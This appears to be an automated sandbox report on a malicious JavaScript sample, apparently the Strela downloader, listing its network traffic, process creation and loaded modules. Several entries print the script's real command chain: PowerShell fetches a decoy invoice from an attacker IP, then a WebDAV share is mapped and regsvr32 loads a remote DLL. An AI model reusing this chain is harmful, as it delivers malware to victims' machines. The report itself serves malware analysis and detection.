TCP traffic: 192.168.2.8:49708 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49707 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1434927462.0000022B72868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1497769444.000001FE391D3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1497709355.000001FE39198000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1495543200.000001FE391EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1497349442.000001FE391D3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1497769444.000001FE391D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/&
Source: net.exe, 00000007.00000003.1497349442.000001FE391D3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1497769444.000001FE391D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/.
Source: net.exe, 00000007.00000002.1497709355.000001FE39198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sceM
Source: svchost.exe, 00000009.00000002.2718088725.00000272CF200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1498882167.00000272CF400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7608, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 497524953288097419.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7708:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aitzeaiz.fhu.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1616,i,10591066858158025420,16119010607379215334,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1616,i,10591066858158025420,16119010607379215334,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
